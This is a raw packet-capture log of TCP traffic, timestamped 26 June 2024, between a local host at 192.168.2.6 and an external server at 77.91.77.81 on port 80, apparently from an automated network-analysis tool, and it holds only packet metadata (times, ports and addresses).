Jun 26, 2024 08:16:43.199656963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.199688911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199723959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199738979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.199779034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199814081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199825048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.199867010 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199901104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199914932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.199954033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199987888 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200001001 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200022936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200077057 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200159073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200192928 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200241089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200262070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200314045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200346947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200359106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200381041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200414896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200428009 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200448036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.200495958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.200500965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201071024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201106071 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201121092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.201141119 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201189041 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.201227903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201261997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201296091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201309919 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.201329947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201368093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201375961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.201404095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.201450109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.201958895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202011108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202047110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202075005 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.202080965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202125072 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.202132940 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202167988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202203989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202212095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.202236891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202271938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202285051 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.202847958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202898026 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.202899933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202935934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202969074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.202979088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.203002930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.203037024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.203054905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.203071117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.203123093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.249641895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.249699116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.249731064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.249763966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.249775887 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.249835014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.286401987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.286441088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.288259029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323683023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323736906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323765039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323772907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323807001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323818922 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323843002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323848963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323869944 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323895931 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323898077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323930979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.323975086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.323992968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324028015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324060917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324080944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324115038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324131966 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324165106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324172020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324207067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324254036 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324408054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324440956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324474096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324496984 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324528933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324563980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324585915 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324598074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324636936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324654102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324671030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324704885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324719906 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324738979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324764967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324771881 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324794054 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324805021 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324819088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324841022 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324843884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324875116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324908018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324961901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.324960947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.324996948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325045109 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325048923 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325062990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325083971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325098991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325118065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325151920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325186968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325197935 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325221062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325256109 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325268030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325292110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.325336933 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.325957060 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326030016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326071024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326122046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326153994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326159000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326184034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326191902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326206923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326227903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326261997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326371908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326426983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326528072 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326561928 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326596975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326613903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326631069 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326642990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326668024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326678038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326702118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326711893 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326756954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326766014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326809883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326844931 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326848984 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326870918 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326891899 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326898098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326932907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326947927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.326967001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.326999903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.327033997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.327054977 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.327075005 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.327168941 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.327240944 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.338973045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.339008093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.339042902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.339050055 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.339071035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.339092016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.339147091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.339183092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.339231968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.373135090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.373241901 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.373275995 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.373308897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.373311043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.373328924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.373344898 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.373372078 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.373410940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410274982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410335064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410336971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410372019 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410413027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410424948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410459995 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410495043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410507917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410531044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410564899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410576105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410618067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410650969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410664082 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410703897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410737038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410739899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410763025 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410773993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410794020 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410809040 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410844088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410854101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410878897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410907984 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410913944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410939932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.410948038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410981894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.410985947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411005020 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411016941 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411027908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411051989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411084890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411113977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411113977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411123037 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411139965 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411170006 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411334038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411367893 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411403894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411432981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411437988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411464930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411470890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.411484957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.411514044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444138050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444195986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444214106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444253922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444288015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444310904 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444351912 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444737911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444791079 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444792032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444824934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444860935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444875002 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444906950 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.444914103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.444952965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445014000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445074081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445126057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445161104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445194006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445210934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445230007 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445264101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445276976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445300102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445333004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445354939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445367098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445400953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445415974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445436001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445467949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445487976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445522070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445523977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445555925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445590973 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445602894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445641994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445642948 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445696115 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445732117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445749044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445766926 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445787907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445796967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445818901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445832968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445849895 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445868969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445903063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445915937 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.445939064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445971966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.445993900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446007013 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446041107 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446055889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446077108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446091890 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446110010 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446126938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446146011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446181059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446233034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446237087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446268082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446302891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446319103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446337938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446347952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446388006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446393967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446428061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446439981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446475029 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446491003 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446510077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446543932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446557045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446578979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446614027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446623087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446655989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446690083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446702003 CEST	49731	80	192.168.2.6	77.91.77.81
